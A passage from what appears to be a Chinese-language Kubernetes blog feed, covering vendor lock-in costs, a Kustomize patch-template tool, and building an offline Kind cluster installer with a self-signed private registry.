&lt;p&gt;例如很多架构师会反对锁定到特定的数据库或者云供应商。然而发生切换的机率如何？5% 或者更少？那么你怎么才能把切换成本从 50000（假设）美金降低到接近于 0？切换成本远远大于 2500 美金（50000 * 5%）。因此最小化转换成本并非（架构设计的）唯一目标，很容易变成过度投资。这也类似过度保险：支付巨额溢价，能把免赔偿额度降低到 0，但这通常不是最经济最合理的选择。&lt;/p&gt;

&lt;p&gt;一个最终模型（这是唯一一次不使用矩阵方式）能够帮助你决定，在降低切换成本上投入多少才是合适的。下图的蓝线，是转换可能性和转换成本的乘积，代表了转换的负债。这张图展示了它和前期投资的关系：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/option_switching_cost.png&#34; alt=&#34;option_switching_cost.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;进行投资肯定能减少债务，或者降低执行成本、降低切换可能性也都能降低。例如使用 ORM 框架是一个较小的投资，能够降低对数据库厂商的锁定。还可以创建一个元数据语言，能够转换成每个厂商的数据库的本地存储过程语法。这能让你在不被锁定的情况下释放数据库的所有性能，但是这就需要为一个相对比较小众的场景进行大量投资了。&lt;/p&gt;

&lt;p&gt;红线很有意思，表达的是前期投资和潜在债务的累计。这是应该尽量降低的总体花费。在多数情况下，随着前期投资的提高，会进入一个最佳区域。针对降低锁定的额外投资实际上会导致更高的总体成本。原因也很简单：投资回报率，尤其是在切换概率较低的时候。如果我们把架构做成超级有弹性，我们可能会进入过度投资的范围。&lt;a href=&#34;https://martinfowler.com/bliki/Yagni.html&#34; target=&#34;_blank&#34;&gt;Yagni（You ain&amp;rsquo;t gonna need it）&lt;/a&gt;的家伙们会走向另外一端——中庸之道是快乐之源。&lt;/p&gt;

&lt;h2 id=&#34;避免锁定的总成本&#34;&gt;避免锁定的总成本&lt;/h2&gt;

&lt;p&gt;现在在锁定方面我们对锁定的成本做了一些研究，我们需要更进一步的看看避免锁定的总体成本，前面的模型，我们假设避免锁定是一个简单的成本问题。实际上这个成本能够分解为几个不同方面。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;工时&lt;/strong&gt;：这需要一些额外的工作，最终都要算成工时的。如果我们选择在 Kubernetes 上部署容器以减少云提供商锁定，就需要投入工时学习新工具，编写 Dockerfile，配置 Kubernetes 等。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;成本&lt;/strong&gt;：额外的现金成本，比如说产品授权，雇佣外部供应商或者参加 KubeCon。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;利用率不足&lt;/strong&gt;：这是一种间接成本。为了不被锁定，经常会避免使用供应商特有的功能。这样就造成了对既有软件的使用不足。这样就意味着，要么投入工时补足缺失的部分，要么任由产品存在短板。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;复杂性&lt;/strong&gt;：复杂性是个经常被忽视的核心元素。很多减少锁定的方法就是引入新的抽象层：JDBC、容器、通用 API。所有的有用的工具，都会增加系统的总体复杂性，也就增加了新成员的学习成本，以及系统错误的机率。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;新的锁定&lt;/strong&gt;：避免一种锁定，往往会引起新的锁定。例如为了避免 &lt;a href=&#34;https://aws.amazon.com/cloudformation/&#34; target=&#34;_blank&#34;&gt;AWS CloudFormation&lt;/a&gt;，取而代之的是 &lt;a href=&#34;https://www.terraform.io/&#34; target=&#34;_blank&#34;&gt;Terraform&lt;/a&gt; 或者 &lt;a href=&#34;https://www.pulumi.com/&#34; target=&#34;_blank&#34;&gt;Pulumi&lt;/a&gt;，它们都支持多个云供应商。然而现在你就被锁定在额外供应商的其它产品上了，还是要鉴别一下这是否是你想要的。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;架构师要计算减少锁定的成本，应该对这个列表做一个检查，看是不是存在什么盲点。同样地，避免锁定的尝试可能会是有泄漏的，例如 Terrorform 是个好工具，但是它的脚本使用了很多供应商特定的构造。实现细节的泄漏，就会提高云间切换的成本。&lt;/p&gt;

&lt;h2 id=&#34;整合视角&#34;&gt;整合视角&lt;/h2&gt;

&lt;p&gt;有了这么多的理论铺垫，我们看看一些贴地气的例子。&lt;/p&gt;

&lt;h3 id=&#34;部署容器&#34;&gt;部署容器&lt;/h3&gt;

&lt;p&gt;一个公司会把他们的代码打包为 Docker 容器，部署在 AWS ECS 上，所以它们锁定在了 AWS 上。应该引入开源的 Kubernetes 来避免锁定么？速度是它们的主要问题，当前的 ECS 解决方案表现很好，我认为迁移可能难有回报。切换云供应商的概率很低，它们有更重要的事情可以做。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;建议&lt;/strong&gt;：接受锁定。&lt;/p&gt;

&lt;h3 id=&#34;关系型数据库访问&#34;&gt;关系型数据库访问&lt;/h3&gt;

&lt;p&gt;很多应用程序会使用关系型数据库，有很多厂商和开源产品。然而 SQL 的方言、存储过程以及定制的管理控制台都是锁定的。你要投资多少来避免锁定呢？多数语言和运行时通用框架（例如 Hibernetes）都以低成本提供了某种程度的数据库中立。如果希望降低执行价格，还应该避免使用 SQL 函数以及存储过程，但这会降低产品性能或提高硬件水平。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;建议&lt;/strong&gt;：使用低成本机制来降低锁定程度。不要想着零成本切换。&lt;/p&gt;

&lt;h3 id=&#34;迁移上云&#34;&gt;迁移上云&lt;/h3&gt;

&lt;p&gt;除了把数据库从一个供应商切换到另一个，你可能更感兴趣的是把应用和数据库迁移到云上。除了技术考量之外，你需要考虑一下有些供应商的授权协议可能会让这种迁移很不划算。这种情况下，选择一个开源数据库可能是个更好的办法。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;建议&lt;/strong&gt;：如果能够满足你的需要，那么选择一个开源的数据库，可能需要接受某种程度的锁定。&lt;/p&gt;

&lt;h3 id=&#34;多云&#34;&gt;多云&lt;/h3&gt;

&lt;p&gt;很多企业痴迷于可移植到多云的想法，病体除了更复杂、更精密也更昂贵的计划，这些计划表面上可以让它们免于被云供应商锁定。然而大多数这些尝试，都在否定上云的初衷：低阻力以及使用托管服务（例如存储和数据库）的能力。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;建议&lt;/strong&gt;：谨慎从事。参考我在&lt;a href=&#34;https://architectelevator.com/cloud/hybrid-multi-cloud/&#34; target=&#34;_blank&#34;&gt;多云方面的文章&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;用思维的速度做架构&#34;&gt;用思维的速度做架构&lt;/h2&gt;

&lt;p&gt;似乎人们可以投入大量时间去关心锁定的问题。有些人甚至会因为我们的方法太过“学术性”而不予理会，学术性这个词我通常都无法认为是个贬义词，这是我们受教育的地方。不过老式的非此即彼的架构方法，是不是更简单，可能还更高效呢？&lt;/p&gt;

&lt;p&gt;事实上，思维的速度很快。只需要几分钟就能够读完这篇文章里提到的所有模型，并作出良好的决策——无需任何花俏的工具，只需要纸或白板。快速完成架构思考的关键是集中注意力。而要做出精致的幻灯片，需要提前几周进行安排，通常也不会有具备实际专业知识的人参与并作出决策。&lt;/p&gt;

&lt;h2 id=&#34;鸣谢&#34;&gt;鸣谢&lt;/h2&gt;

&lt;p&gt;感谢作出有益反馈并提供输入的几位朋友：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.linkedin.com/in/manliogrillo&#34; target=&#34;_blank&#34;&gt;Manlio Grillo&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://leanpub.com/u/mploed&#34; target=&#34;_blank&#34;&gt;Michael Plöd&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://linkedin.com/in/micheledanieli&#34; target=&#34;_blank&#34;&gt;Michele Danieli&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Scott Davis&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kustomize Fomulas</title>
      <link>/post/kustomize-formulas/</link>
      <pubDate>Fri, 06 Sep 2019 01:50:43 +0800</pubDate>
      <guid>/post/kustomize-formulas/</guid>
      <description>

&lt;p&gt;项目地址 &lt;a href=&#34;https://github.com/fleeto/kustomize-patch-formulas&#34; target=&#34;_blank&#34;&gt;Kustomize-patch-formulas&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这个项目有两个目的。&lt;/p&gt;

&lt;p&gt;第一点就是，既然有了 &lt;a href=&#34;https://github.com/kubernetes-sigs/kustomize&#34; target=&#34;_blank&#34;&gt;Kustomize&lt;/a&gt;，使用碎片来拼接复杂的 YAML 就很方便了，设想以下情况：&lt;/p&gt;

&lt;p&gt;一个只会写简单 Deployment 的小白，随时要去翻书，查查如何加入资源限制，如何加载存储卷，如何设置环境变量&amp;hellip;.，翻完用完，俩月之后同样的痛苦再来一次，周而复始。。好吧我就是那个小白。&lt;/p&gt;

&lt;p&gt;Kustomize 能不能让这个过程舒服一点？&lt;/p&gt;

&lt;p&gt;开始摸索 Kustomize 之后，我觉得有救了，只要我把需要的配置碎片积累下来，用的时候稍作修改，然后用 Kustomize 渲染出来，是不是就省了不少麻烦了？另外对一些巨型的 YAML，比如多个 Deployment 和 Service 和 VirtualService 什么的混成一个文件的情况，直接上手修改是很辛苦的，用这种方式也可以方便快捷的进行一些变更。&lt;/p&gt;

&lt;p&gt;更近一步的，这些补丁都很小，如果稍稍做点模板处理，用个小脚本加工成正式的 Patch，复用能力会进一步增强。&lt;/p&gt;

&lt;p&gt;第二点就是，就算不考虑这些问题，把常见的配置碎片搜集起来也是对 Kubernetes 运维工作很有帮助的。&lt;/p&gt;

&lt;h2 id=&#34;用法&#34;&gt;用法&lt;/h2&gt;

&lt;p&gt;例如我们有一个简单的 Deployment， &lt;code&gt;/tmp/deploy.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: flaskapp
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: flaskapp
        version: v1
    spec:
      containers:
        - name: flaskapp
          image: dustise/flaskapp
          imagePullPolicy: IfNotPresent
          env:
            - name: version
              value: v1
          ports:
            - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;克隆本项目之后，我们希望借助其中的补丁，为这个对象加入资源限制和 ServiceAccount：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ ./gen_kustomize.py -i /tmp/deploy.yaml -o kust
$ tree kust
kust
├── base
│   ├── deploy.yaml
│   └── kustomization.yaml
└── overlay
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个命令会为该文件创建一个 Kustomization。其中的 &lt;code&gt;-i&lt;/code&gt; 参数可以加入多个文件，都会被复制到目标目录（&lt;code&gt;kust&lt;/code&gt;）的 &lt;code&gt;base&lt;/code&gt; 之中。&lt;/p&gt;

&lt;p&gt;接下来向其中加入补丁：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ ./add_patch.py kubernetes/deployment/resource-patch.yaml \
    --set container_name=flaskapp deployment_name=flaskapp \
    limit_cpu=100m limit_memory=100Mi request_cpu=100m \
    request_memory=100Mi \
    -t kust
$ ./add_patch.py kubernetes/deployment/serviceaccount-patch.yaml \
    --set container_name=flaskapp \
    deployment_name=flaskapp service_account=default \
    -t kust
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里的第一个参数是补丁文件的位置，&lt;code&gt;--set&lt;/code&gt; 后面以 &lt;code&gt;key=value&lt;/code&gt; 的形式为模板进行赋值。模板的写法也很简单，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: $deployment_name
spec:
  replicas: 1
  template:
    spec:
      serviceAccount: $service_account
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用的是 Python 模板，只要简单的在变量前加入 &lt;code&gt;$&lt;/code&gt; 即可，因为对 Helm 深感疲惫，暂时不准备接入太复杂的模板方式，毕竟补丁本身越小越精确就越好。&lt;/p&gt;

&lt;p&gt;加入补丁之后，使用 &lt;code&gt;kustomize build kust/overlay&lt;/code&gt; 进行渲染：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: flaskapp
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: flaskapp
        version: v1
    spec:
      containers:
      - env:
        - name: version
          value: v1
        image: dustise/flaskapp
        imagePullPolicy: IfNotPresent
        name: flaskapp
        ports:
        - containerPort: 80
        resources:
          limits:
            cpu: 100m
            memory: 100Mi
          requests:
            cpu: 100m
            memory: 100Mi
      serviceAccount: default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，这里生成了完整的目标文件。&lt;/p&gt;

&lt;h2 id=&#34;需要贡献&#34;&gt;需要贡献&lt;/h2&gt;

&lt;p&gt;这个项目还非常低级，不堪一用，觉得这个小东西有意思的朋友可以提供：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;新的补丁模板。&lt;/li&gt;
&lt;li&gt;测试框架。&lt;/li&gt;
&lt;li&gt;新的玩法。&lt;/li&gt;
&lt;li&gt;各种建议。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Funny Kind</title>
      <link>/post/funny-kind/</link>
      <pubDate>Thu, 29 Aug 2019 02:57:10 +0800</pubDate>
      <guid>/post/funny-kind/</guid>
      <description>&lt;p&gt;昨天的帖子可能是这个公众号诞生以来好笑的一幕——这个实操环节因为错上加错，收获了一个正确结果，以及好几个“在看”。&lt;/p&gt;

&lt;p&gt;事实上我们编写的 &lt;code&gt;config.yaml&lt;/code&gt;，在文末的命令行中并没有引用，所以&lt;strong&gt;其中的快速安装的结果完全是 Kind 的功劳，和之前的证书操作、镜像操作没有一毛钱的关系&lt;/strong&gt;。Kind 镜像自带了 Kubeadm 部署所需内容，因此它的的离线安装正常来说只需要：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Docker 正常运转&lt;/li&gt;
&lt;li&gt;本地有 Kind 镜像。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;私库之类的东西，完全不需要。&lt;/p&gt;

&lt;p&gt;昨天的错误原因主要在于：Docker 信任的 CA，并不被 Dind 所接受，所以要使用私库，首先要把自签发 CA 加入 Kind 镜像的信任列表，源码显示，它用的是 Ubuntu，因此可以这样构建一个新镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM kindest/node:v1.15.3
COPY ca.crt /usr/local/share/ca-certificates/ca.crt
RUN update-ca-certificates
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有了这个信任关系，就可以从容的使用私库了，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
kind create cluster --image kindest/node:customize \
    --config config/kind-config.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用这个镜像，就会加入对私库的信任关系，也就能够满足使用私库的需求了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用 Kind 构建离线集群安装包</title>
      <link>/post/kind-offline/</link>
      <pubDate>Tue, 27 Aug 2019 23:29:07 +0800</pubDate>
      <guid>/post/kind-offline/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://github.com/kubernetes-sigs/kind&#34; target=&#34;_blank&#34;&gt;Kind（Kubernetes in Docker）&lt;/a&gt; 是一个 Kubernetes 孵化项目，它使用 Docker 为节点进行 Kubernetes 的快速部署，可以方便的搭建 Kubernetes 集群，虽然简单，但也是通过 &lt;a href=&#34;https://landscape.cncf.io/selected=kind&#34; target=&#34;_blank&#34;&gt;Kubernetes 一致性认证&lt;/a&gt;的安装器，因此用来做测试还是比较可靠的。&lt;/p&gt;

&lt;p&gt;按照社区的一贯德行，安装过程虽然只要有个 Docker 就可以了，但是对网络有严重的依赖。在 Workshop 之类的场合，会受到很大限制。这种情况下，有一个离线包就会非常方便了。&lt;/p&gt;

&lt;h2 id=&#34;获取安装文件&#34;&gt;获取安装文件&lt;/h2&gt;

&lt;p&gt;本文会从一个新安装的 CentOS Mini 服务器为例，逐个步骤展示构建离线 Kind 安装包的过程。最后再安装一个&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里假设这个服务器有“优秀”的互联网连接。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;docker-离线包&#34;&gt;Docker 离线包&lt;/h3&gt;

&lt;p&gt;首先我们要为 Docker 的离线安装准备好 RPM 包，新建一个目录 &lt;code&gt;rpms&lt;/code&gt;，用来下载安装包：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ yum install --downloadonly --downloaddir=./rpms \
    yum-utils device-mapper-persistent-data lvm2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;执行完毕之后，会在 rpms 目录中找到 Docker 的依赖包，接下来获取 Docker 的 RPM。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ yum-config-manager \
    --add-repo \
    https://download.docker.com/linux/centos/docker-ce.repo
$ yum --downloadonly --downloaddir=./rpms \
    install docker-ce docker-ce-cli containerd.io  
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如此就获得了 Docker 自身以及所有的依赖 RPM 包。可以使用 rpm 直接安装。并启动 Docker 服务。&lt;/p&gt;

&lt;h3 id=&#34;kubeadm-和-kubectl&#34;&gt;Kubeadm 和 Kubectl&lt;/h3&gt;

&lt;p&gt;根据&lt;a href=&#34;https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/#installing-runtime&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/yum.repos.d/kubernetes.repo
[kubernetes]
name=Kubernetes
baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64
enabled=1
gpgcheck=1
repo_gpgcheck=1
gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg
EOF

$ yum install --downloadonly --downloaddir=./rpms \
kubectl kubeadm --disableexcludes=kubernetes
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里做了一点修改：不再安装 kubelet，也不启动服务，仅用于获取安装包。&lt;/p&gt;

&lt;h3 id=&#34;获取镜像&#34;&gt;获取镜像&lt;/h3&gt;

&lt;p&gt;使用 rpm 安装 kubeadm，开始获取安装所需的所有镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubeadm config images list --kubernetes-version=v1.15.3
k8s.gcr.io/kube-apiserver:v1.15.3
k8s.gcr.io/kube-controller-manager:v1.15.3
k8s.gcr.io/kube-scheduler:v1.15.3
k8s.gcr.io/kube-proxy:v1.15.3
k8s.gcr.io/pause:3.1
k8s.gcr.io/etcd:3.3.10
k8s.gcr.io/coredns:1.3.1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;拿到列表了就可以逐个拉取处理镜像，这里给个小脚本：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
for image in `kubeadm config images list --kubernetes-version=$1`
do
  image_name=`echo ${image} | sed &amp;quot;s/k8s.gcr.io.//g&amp;quot;`
  docker pull &amp;quot;${image}&amp;quot;
  docker tag &amp;quot;${image}&amp;quot; &amp;quot;${image_name}&amp;quot;
  file_name=&amp;quot;${image_name}.tgz&amp;quot;
  docker save &amp;quot;${image_name}&amp;quot; | gzip &amp;gt; &amp;quot;${file_name}&amp;quot;
  docker rmi &amp;quot;${image}&amp;quot;
  docker rmi &amp;quot;${image_name}&amp;quot;
done
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样我们就有了所有 Kubeadm 所需的镜像。另外我们还需要两个辅助镜像：&lt;code&gt;kindest/node:v1.15.3&lt;/code&gt; 以及 &lt;code&gt;registry:2.7.1&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;cfssl-和-kind&#34;&gt;CFSSL 和 Kind&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ wget https://github.com/kubernetes-sigs/kind/releases/download/v0.5.1/kind-linux-amd6
$ wget https://pkg.cfssl.org/R1.2/cfssljson_linux-amd64
$ wget https://pkg.cfssl.org/R1.2/cfssl_linux-amd64
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样我们已经获得了所有安装所需的文件。可以进入离线步骤了。&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;h3 id=&#34;rpm-安装&#34;&gt;RPM 安装&lt;/h3&gt;

&lt;p&gt;把前面获得的 Kubectl 安装起来。&lt;/p&gt;

&lt;h3 id=&#34;签发证书&#34;&gt;签发证书&lt;/h3&gt;

&lt;p&gt;使用 CFSSL 生成证书，首先生成 CA。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ca-csr.json&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;CN&amp;quot;: &amp;quot;Kubernetes CA&amp;quot;,
    &amp;quot;key&amp;quot;: {
        &amp;quot;algo&amp;quot;: &amp;quot;rsa&amp;quot;,
        &amp;quot;size&amp;quot;: 2048
    },
    &amp;quot;ca&amp;quot;: {
       &amp;quot;expiry&amp;quot;: &amp;quot;87600h&amp;quot;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;cfssl gencert -initca ca-csr.json | cfssljson -bare ca&lt;/code&gt; 生成 CA 证书。&lt;/p&gt;

&lt;p&gt;把证书加入信任列表：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ update-ca-trust enable
$ cp ca.pem /etc/pki/ca-trust/source/anchors/
$ update-ca-trust extract
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;更新之后，需要重启 Docker 服务，让 Docker 也信任这一 CA。&lt;/p&gt;

&lt;p&gt;然后是生成镜像库所需的服务器证书：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;config.json&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;signing&amp;quot;: {
        &amp;quot;default&amp;quot;: {
            &amp;quot;expiry&amp;quot;: &amp;quot;87600h&amp;quot;
        },
        &amp;quot;profiles&amp;quot;: {
            &amp;quot;server&amp;quot;: {
                &amp;quot;expiry&amp;quot;: &amp;quot;87600h&amp;quot;,
                &amp;quot;usages&amp;quot;: [
                    &amp;quot;signing&amp;quot;,
                    &amp;quot;key encipherment&amp;quot;,
                    &amp;quot;server auth&amp;quot;,
                    &amp;quot;client auth&amp;quot;
                ]
            },
            &amp;quot;user&amp;quot;: {
                &amp;quot;expiry&amp;quot;: &amp;quot;87600h&amp;quot;,
                &amp;quot;usages&amp;quot;: [
                    &amp;quot;signing&amp;quot;,
                    &amp;quot;key encipherment&amp;quot;,
                    &amp;quot;client auth&amp;quot;
                ]
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;server.json&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;CN&amp;quot;: &amp;quot;Registry&amp;quot;,
    &amp;quot;hosts&amp;quot;: [
      &amp;quot;127.0.0.1&amp;quot;,&amp;quot;10.211.55.10&amp;quot;
    ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来签发证书：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cfssl gencert -ca ca.pem -ca-key ca-key.pem -config=config.json \
     -profile=server server.json | cfssljson -bare registry
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;这里的 IP 地址要跟本地地址对应。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;启动镜像库&#34;&gt;启动镜像库&lt;/h3&gt;

&lt;p&gt;使用 &lt;code&gt;docker load -i&lt;/code&gt;，载入了 registry 镜像，把仓库运行起来：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
docker run -d \
   --name=&amp;quot;registry2&amp;quot; \
   -v &amp;quot;$(pwd)/storage&amp;quot;:/var/lib/registry \
   -p 5000:5000 \
  -v &amp;quot;$(pwd)/certs&amp;quot;:/certs \
  -e REGISTRY_HTTP_TLS_CERTIFICATE=/certs/registry.pem \
  -e REGISTRY_HTTP_TLS_KEY=/certs/registry-key.pem \
   --restart=always \
   registry:2.7.1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如此就在 5000 端口启动了一个镜像库。&lt;/p&gt;

&lt;h3 id=&#34;推送镜像到私库&#34;&gt;推送镜像到私库&lt;/h3&gt;

&lt;p&gt;把前面的所有镜像都载入 Docker，Tag 之后推入私库，最后在私库里就有了一系列的镜像，例如 &lt;code&gt;10.211.55.10:5000/pause:3.1&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;安装集群&#34;&gt;安装集群&lt;/h3&gt;

&lt;p&gt;为了能够使用私库的镜像，要对 Kind 进行一点配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Cluster
apiVersion: kind.sigs.k8s.io/v1alpha3
kubeadmConfigPatches:
- |
  apiVersion: kubeadm.k8s.io/v1beta2
  kind: ClusterConfiguration
  metadata:
    name: config
  networking:
    serviceSubnet: 10.0.0.0/16
  imageRepository: 10.211.55.10:5000
  nodeRegistration:
    kubeletExtraArgs:
      pod-infra-container-image: 10.211.55.10:5000/pause:3.1
- |
  apiVersion: kubeadm.k8s.io/v1beta2
  kind: InitConfiguration
  metadata:
    name: config
  networking:
    serviceSubnet: 10.0.0.0/16
  imageRepository: 10.211.55.10:5000
nodes:
- role: control-plane
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kind create cluster --image kindest/node:v1.15.3
Creating cluster &amp;quot;kind&amp;quot; ...
 ✓ Ensuring node image (kindest/node:v1.15.3) 🖼
 ✓ Preparing nodes 📦
 ✓ Creating kubeadm config 📜
 ✓ Starting control-plane 🕹️
 ✓ Installing CNI 🔌
 ✓ Installing StorageClass 💾
Cluster creation complete. You can now use the cluster with:

export KUBECONFIG=&amp;quot;$(kind get kubeconfig-path --name=&amp;quot;kind&amp;quot;)&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如此这般，Kind 集群就启动了。我们可以测试一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ export KUBECONFIG=&amp;quot;$(kind get kubeconfig-path --name=&amp;quot;kind&amp;quot;)&amp;quot;
$ kubectl get pods --all-namespaces
NAMESPACE     NAME                                         READY   STATUS    RESTARTS   AGE
kube-system   coredns-5c98db65d4-lkg92                     1/1     Running   0          72m
kube-system   coredns-5c98db65d4-rhv7g                     1/1     Running   0          72m
kube-system   etcd-kind-control-plane                      1/1     Running   0          71m
kube-system   kindnet-892gh                                1/1     Running   1          72m
kube-system   kube-apiserver-kind-control-plane            1/1     Running   0          71m
kube-system   kube-controller-manager-kind-control-plane   1/1     Running   0          71m
kube-system   kube-proxy-nd4ml                             1/1     Running   0          72m
kube-system   kube-scheduler-kind-control-plane            1/1     Running   0          71m
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;离线环境下部署镜像&#34;&gt;离线环境下部署镜像&lt;/h2&gt;

&lt;p&gt;Kind 提供了一个 load 命令，可以把镜像载入所有“节点”，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kind load docker-image 10.211.55.10:5000/registry:2.7.1
$ kubectl run registry --image=10.211.55.10:5000/registry:2.7.1 --replicas=2
$ kubectl run --generator=deployment/apps.v1 is DEPRECATED and will be removed in a future version. Use kubectl run --generator=run-pod/v1 or kubectl create instead.
deployment.apps/registry created
$ kubectl get pods
NAME                        READY   STATUS    RESTARTS   AGE
registry-6b7648c4f4-g8zxr   1/1     Running   0          24s
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;后记&#34;&gt;后记&lt;/h2&gt;

&lt;p&gt;很明显，这些步骤是可以自动化的，只需要分发一个安装包，就能够很方便的快速部署、删除一整套的 Kubernetes，可以用随需部署的方式完成环境的搭建和删除。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>kubectl exec 的来龙去脉</title>
      <link>/post/how-kubectl-exec-works/</link>
      <pubDate>Tue, 27 Aug 2019 18:16:58 +0800</pubDate>
      <guid>/post/how-kubectl-exec-works/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://erkanerol.github.io/post/how-kubectl-exec-works/&#34; target=&#34;_blank&#34;&gt;How does &amp;lsquo;kubectl exec&amp;rsquo; work?&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/erkan_erol_&#34; target=&#34;_blank&#34;&gt;Erkan Erol&lt;/a&gt;&lt;/p&gt;

